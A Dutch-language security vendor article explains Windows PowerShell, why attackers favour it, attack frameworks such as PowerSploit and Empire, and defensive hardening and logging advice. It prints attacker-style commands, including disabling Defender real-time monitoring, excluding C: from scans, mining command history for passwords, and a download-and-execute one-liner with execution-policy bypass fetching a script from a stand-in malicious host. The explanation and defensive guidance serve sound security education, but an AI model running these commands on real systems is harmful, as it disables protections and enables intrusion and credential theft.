Windows PowerShell is een krachtige scripttaal en opdrachtregel-shell voor het automatiseren van taken en het beheren van configuraties. In deze handleiding worden de functies en mogelijkheden van PowerShell besproken, waaronder de rol ervan in systeembeheer en beveiliging.
Lees meer over veelgebruikte PowerShell-opdrachten, best practices voor scripting en hoe u PowerShell kunt inzetten voor cyberbeveiliging. Inzicht in PowerShell is essentieel voor IT-professionals en beveiligingsmedewerkers.

Welke invloed kan PowerShell hebben op de waardevolle bedrijfsmiddelen van uw onderneming? Leer de basisprincipes van PowerShell, waarom het aantrekkelijk is voor hackers en hoe u uw onderneming kunt beschermen
Microsoft PowerShell is een opdrachtregel-shell en scripttaal die wordt gebruikt om taken te automatiseren en Windows-systemen te beheren. Het wordt vaak gebruikt door beheerders en beveiligingsprofessionals om routinetaken te automatiseren, systemen te beheren en te monitoren, en reacties op beveiligingsincidenten te automatiseren. Aanvallers gebruiken PowerShell vaak om ongeoorloofde toegang tot systemen te verkrijgen en kwaadaardige code uit te voeren.
Microsoft PowerShell is al sinds 2006 beschikbaar op Windows, maar is nu de commandoshell voor Verkenner op Windows 10 en heeft het oude cmd.exe-hulpprogramma grotendeels vervangen. Hoewel het door gewone gebruikers vaak als geheimzinnig wordt beschouwd, is PowerShell vanwege zijn flexibiliteit en kracht essentieel geworden voor IT-teams en netwerkbeheerders. In deze inleidende gids leggen we de basisprincipes van PowerShell uit, waarom het aantrekkelijk is voor hackers en malware-authors, en wat u kunt doen om uw organisatie te beschermen.
Kies uw voorkeur
Als u 'PowerShell' in het zoekveld van Cortana typt, krijgt u een aantal opties te zien, namelijk PowerShell ISE en PowerShell Desktop-app. Bovendien, als u met de rechtermuisknop op het Startmenu of een van de PowerShell-pictogrammen in de taakbalk klikt, ziet u dat er twee verschillende manieren zijn om beide versies van PowerShell te starten: als de huidige gebruiker of als beheerder. , ziet u dat er twee verschillende manieren zijn om beide versies van PowerShell te starten: als de huidige gebruiker of als beheerder.

Beheerders die veelvoorkomende taken willen automatiseren, zullen waarschijnlijk de ISE-interface gebruiken om PowerShell-modules en -scripts te ontwikkelen, maar voor interactief gebruik zullen de meesten kiezen voor de PowerShell Desktop-app en deze uitvoeren als beheerder of huidige gebruiker, afhankelijk van de taak.
U hoort misschien ook praten over PowerShell Core, een platformonafhankelijke, open-sourceversie die niet alleen op Windows draait, maar ook op Linux en macOS:

Let hier echter op, want het wordt geïnstalleerd als een niet-ondertekend binair bestand en kan gemakkelijk worden vervangen door een kwaadaardige vervalsing. Als u eindpunten hebt die PowerShell Core gebruiken, zorg er dan voor dat uw organisatie het ondertekent met een geschikt certificaat of regelmatig shasum-controles uitvoert om er zeker van te zijn dat er niet mee is geknoeid.
Hoewel er enkele verschillen zijn in mogelijkheden tussen de verschillende versies van PowerShell, kunnen ze allemaal externe sessies uitvoeren via SSH en communiceren met een breed scala aan processen en services. PowerShell kan zelfs communiceren met het Windows-register en het gebeurtenissenlogboek. Dit alles betekent dat een tegenstander met toegang tot PowerShell dezelfde toegang en voordelen heeft.
De kracht ontketenen
U kunt een idee krijgen van de mogelijkheden van PowerShell met twee eenvoudige opdrachten:
Get-Module -ListAvailable
om de beschikbare modules weer te geven, en
Get-Command
om de beschikbare opdrachten weer te geven:

Laten we eens kijken naar enkele voorbeelden. Stel dat u (of een tegenstander) door een map met documenten bladert en snel wilt weten of er iets interessants in staat. Een commando zoals het volgende geeft de eerste en laatste twee regels van elk tekstbestand in de map weer, waarbij recursief onderliggende mappen worden doorzocht, inclusief verborgen of onzichtbare bestanden, en de uitvoer naar een ander tekstbestand wordt doorgestuurd voor latere inzage of opvraging:
Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log
Als iemand op zoek was naar documenten die beginnen met 'Vertrouwelijk' of eindigen met de functie van de author, zoals 'Chief Financial Officer', dan zou dit een 'snelle en eenvoudige' manier kunnen zijn om interessante items op te sommen.
Het verwijderen van een item, bijvoorbeeld om bewijzen van inbraak te wissen, is eenvoudigweg een kwestie van
Remove-Item <path>
Met PowerShell kunnen gebruikers het besturingssysteem ook op interessante, maar helaas ook gevaarlijke manieren manipuleren. Als een malware de vooraf geïnstalleerde Microsoft Defender AV-engine wil omzeilen, kan deze door een PowerShell-opdracht met de juiste rechten uit te voeren, worden uitgeschakeld:
Set-MpPreference -DisableRealTimeMonitoring $true
of, iets subtieler, een station of pad uitsluiten van de zoekpaden:
Add-MpPreference -ExclusionPath "c:"
PowerShell maakt het voor aanvallers ook eenvoudig om bijvoorbeeld uw netwerkstations te inventariseren en het gebeurtenislogboek op te roepen, een handige manier om bruikbare informatie te vinden, met respectievelijk Get-PSDrive
en Get-EventLog
.

Een handige tool voor zowel gebruikers als kwaadwillenden is de mogelijkheid om de geschiedenis van opdrachten te lezen, inclusief alle argumenten die daarin zijn doorgegeven, die interactief op de opdrachtregel zijn ingevoerd. De geschiedenis wordt opgeslagen op het pad dat door deze opdracht wordt uitgevoerd:
(Get-PSReadLineOption).HistorySavePath
en we kunnen cat
en de Select-String
cmdlet (of de alias sls
) om effectief “grep” of de commando's te doorzoeken op interessante items (bijvoorbeeld wachtwoorden!):

Scripts & Exploit Kits
Het werken met PowerShell op de opdrachtregel biedt echter niet de beste kansen voor kwaadwillende actoren. Gevaarlijker is het vermogen van PowerShell om scripts zowel in het geheugen (ook wel "fileless" malware-aanvallen) als vanaf de schijf uit te voeren. Beide kunnen rechtstreeks op een host of op afstand worden uitgevoerd.
Net als het Unix-shellcommando eval
heeft PowerShell Invoke-Expression
(en de alias iex
), waarmee een kwaadaardig script kan worden gedownload en uitgevoerd in het geheugen. We kunnen Bypass
toevoegen om een beperkt uitvoeringsbeleid te omzeilen:
powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"
Het is niet verwonderlijk dat het niet lang heeft geduurd voordat er complete exploitatiekaders verschenen die PowerShell optimaal benutten.
De belangrijkste daarvan is PowerSploit, een verzameling PowerShell-scripts waarmee de computer van een slachtoffer kan worden gemanipuleerd en gecontroleerd.

PowerShell Empire bouwt voort op het werk van PowerSploit en verschillende andere projecten om een post-exploitatietool te creëren die netwerkdetectie kan omzeilen, keyloggers kan uitvoeren en andere modules kan uitvoeren, zoals Mimikatz om platte tekst wachtwoorden, wachtwoord hashes en andere gegevens rechtstreeks uit het geheugen te halen.

De opkomst van PowerShell-aanvallen
Het maken van PowerShell-scripts en PowerShell-opdrachten die kunnen worden uitgevoerd vanuit andere soorten Windows bestanden, .exe, .bat, .wsf en .LNK is een van de redenen waarom op PowerShell gebaseerde malware de laatste jaren in opkomst is. Volgens een schatting dat PowerShell-exploits verantwoordelijk zijn voor bijna 40% van de malware-incidenten, lijdt het geen twijfel dat kwaadwillenden het gebruiken in een breed scala aan campagnes, van ransomware tot diefstal van inloggegevens en banktrojanen. PowerShell is ook betrokken geweest bij klikfraude, het onderscheppen van wachtwoorden en het exfiltreren van gegevens.
DNSMessenger is malware die werd opgemerkt in een macro van een Word-document. Het maakt slim gebruik van VBA-broncode om gecodeerde PowerShell-opdrachten af te leveren om persistentie te bereiken, zijn payload af te leveren en te communiceren met een C&C-server.
Verrassend genoeg hebben sommige PowerShell-aanvallen zelfs geen ingebouwde PowerShell.exe nodig. Tools zoals PowerShdll en InsecurePowerShell kunnen scripts rechtstreeks uitvoeren door gebruik te maken van System.Management.Automation.dll die ten grondslag ligt aan het PowerShell-binaire bestand. Kortom, het uitvoerbare PowerShell-bestand is slechts een host of wrapper voor de echte code in de dynamische koppelingsbibliotheek. Aanvallen kunnen hiervan gebruikmaken om in feite elk proces PowerShell-scripts en -opdrachten te laten uitvoeren.
Andere creatieve toepassingen van PowerShell zijn het insluiten van een PowerShell-script in de pixels van een PNG-bestand en het genereren van een oneliner om het uit te voeren met Invoke-PSImage, of het converteren van PowerShell-scripts naar EXE-bestanden met tools zoals PS2EXE.
PowerShell beheren
Uit dit alles blijkt waarschijnlijk duidelijk dat het simpelweg blokkeren van PowerShell.exe zinloos, om nog maar te zwijgen van de enorme last voor systeembeheerders die zijn gaan vertrouwen op wat PowerShell te bieden heeft. HetHet is belangrijk om te begrijpen dat PowerShell en de DLL's die eraan ten grondslag liggen, een integraal onderdeel zijn van het Windows-besturingssysteem. Met de komst van PowerShell Core breidt die kracht zich uit naar mogelijkheden voor platformonafhankelijk beheer, wat voor bedrijven essentieel kan zijn.
Een effectieve bedrijfsoplossing voor het omgaan met de dubbele aard van PowerShell is een oplossing zoals SentinelOne, die kijkt naar het gedrag van processen die op het eindpunt worden uitgevoerd. Dit is effectief omdat ze op dezelfde manier werken, ongeacht hoe malware-aanvallen worden uitgevoerd. De SentinelOne-agent controleert alle activiteiten op de agent om onderscheid te maken tussen kwaadaardige en goedaardige activiteiten. Aangezien de agent al over de volledige context beschikt: gebruikers, processen, opdrachtregelargumenten, register, bestanden op de schijf en externe communicatie, kunnen kwaadaardige activiteiten worden beperkt, ongeacht de bron.
Vind je dit artikel leuk? Volg ons dan op LinkedIn, Twitter, YouTube of Facebook om de content te bekijken die we plaatsen.
Lees meer over Windows-beveiliging
- Hancitor Banking Trojan is terug | Gebruik van kwaadaardige Word-bijlage
- SentinelOne detecteert en blokkeert nieuwe variant van Powershell CryptoWorm
- Nieuw Windows 10-bestandstype kan worden misbruikt voor het uitvoeren van kwaadaardige applicaties
AI-gestuurde cyberbeveiliging
Verhoog uw beveiliging met realtime detectie, reactiesnelheid en volledig overzicht van uw gehele digitale omgeving.
Vraag een demo aanVeelgestelde vragen over Windows PowerShell
Windows PowerShell is een Microsoft-opdrachtregelprogramma en scripttaal die is gebaseerd op het .NET Framework. Hiermee kunt u cmdlets (eenvoudige werkwoord-zelfstandig naamwoordopdrachten) gebruiken om taken zoals het beheer van het bestandssysteem, het register en services te automatiseren.
PowerShell verwerkt en retourneert objecten in plaats van platte tekst, zodat u gestructureerde gegevens van de ene cmdlet naar de volgende kunt doorsturen. Het ondersteunt ook remoting, modules en in-console hulp voor systeembeheer.
In tegenstelling tot het oude CMD gebruikt PowerShell cmdlets met een werkwoord-zelfstandig naamwoord-indeling en werkt het met .NET-objecten in plaats van tekststromen. Dat betekent dat u opdrachten via pijplijnen kunt koppelen zonder tekst te parseren. PowerShell-scripts kunnen rechtstreeks .NET-API's aanroepen, bieden uitgebreidere foutafhandeling en ondersteunen modules.
Traditionele shells verwerken alleen platte tekst en eenvoudige batchscripts, terwijl PowerShell een volledige scriptomgeving biedt voor automatisering en configuratie.
De diepgaande systeemintegratie en scriptmogelijkheden van PowerShell maken het een favoriet voor zowel beheerders als aanvallers. Kwaadwillenden gebruiken bestandsloze technieken – het uitvoeren van scripts in het geheugen – om detectie te omzeilen.
PowerShell kan verdedigingsmechanismen uitschakelen, kwaadaardige code downloaden of inloggegevens stelen zonder de schijf aan te raken. Omdat het in Windows alomtegenwoordig is, moeten verdedigers PowerShell-activiteiten als een groot risico beschouwen en nauwlettend in de gaten houden om misbruik te voorkomen.
In een onderzoek van Cisco was PowerShell betrokken bij meer dan een derde van de kritieke beveiligingsrisico's op eindpunten. Carbon Black meldde misbruik van PowerShell in 38 procent van de incidenten, vaak in post-exploit-acties zoals laterale bewegingen of diefstal van inloggegevens.
Hoewel het normale gebruik laag is, komt PowerShell voor in ongeveer één op de veertien bevestigde kwaadaardige incidenten.
Schakel alle PowerShell-logboekregistratie in: module-logboekregistratie, scriptblok-logboekregistratie en transcriptie. Stel de logboekgrootte in op minimaal 150 MB en verzamel gebeurtenissen van
Microsoft-Windows-PowerShell/Operational en PowerShellCore/Operational. Voer logboeken in SIEM of XDR in. Blokkeer scripts van niet-vertrouwde ouders en beperk het uitvoeringsbeleid tot alleen ondertekende scripts. Schakel Protected Event Logging in voor extra details.
Gebruik Just Enough Administration (JEA) om de toegang van gebruikers te beperken tot goedgekeurde cmdlets. Dwing de beperkte taalmodus af om COM, WMI en complexe uitdrukkingen uit te schakelen. Implementeer beleidsregels voor applicatiecontrole (bijv. WDAC) om ondertekende scripts op de witte lijst te plaatsen.
Houd PowerShell bijgewerkt naar v5.1 of hoger. Controleer en stem de logboekinstellingen regelmatig af om ervoor te zorgen dat elke scriptaanroep wordt geregistreerd.
Het volledig blokkeren van PowerShell kan het systeembeheer en beheer op afstand verstoren. Microsoft raadt af om het volledig te verwijderen. Beperk in plaats daarvan de uitvoering tot geautoriseerde beheerders, pas applicatiecontrole toe en beperk PowerShell zodat het niet kan worden gestart onder onbetrouwbare ouders zoals Office-apps.
In combinatie met logboekregistratie en monitoring voorkomen deze controles het meeste kwaadwillige gebruik zonder legitieme bewerkingen te belemmeren.
Met PowerShell kunnen verdedigers incidentrespons automatiseren, snel forensische gegevens verzamelen en bedreigingen opsporen. U kunt scripts schrijven om binnen enkele minuten registerartefacten, proceslijsten en netwerkverbindingen te verzamelen. Door PowerShell te leren, krijg je ook inzicht in de technieken van aanvallers, aangezien veel post-exploit-tools (Empire, Cobalt Strike) onder de motorkap gebruikmaken van PowerShell.
PowerShell-scripts kunnen live geheugen, register-runkeys, gebeurtenislogboeken en netwerkgegevens verzamelen voor triage. Communitytools zoals DFIR-Script automatiseren het verzamelen van bewijsmateriaal op eindpunten. Hunters gebruiken PowerShell om Windows Event ID 4104 te doorzoeken op kwaadaardige scriptblokken, de uitvoer te parseren en de resultaten in SOAR-playbooks in te voeren. Dit maakt PowerShell tot een essentieel onderdeel van detectie-, insluitings- en herstelworkflows.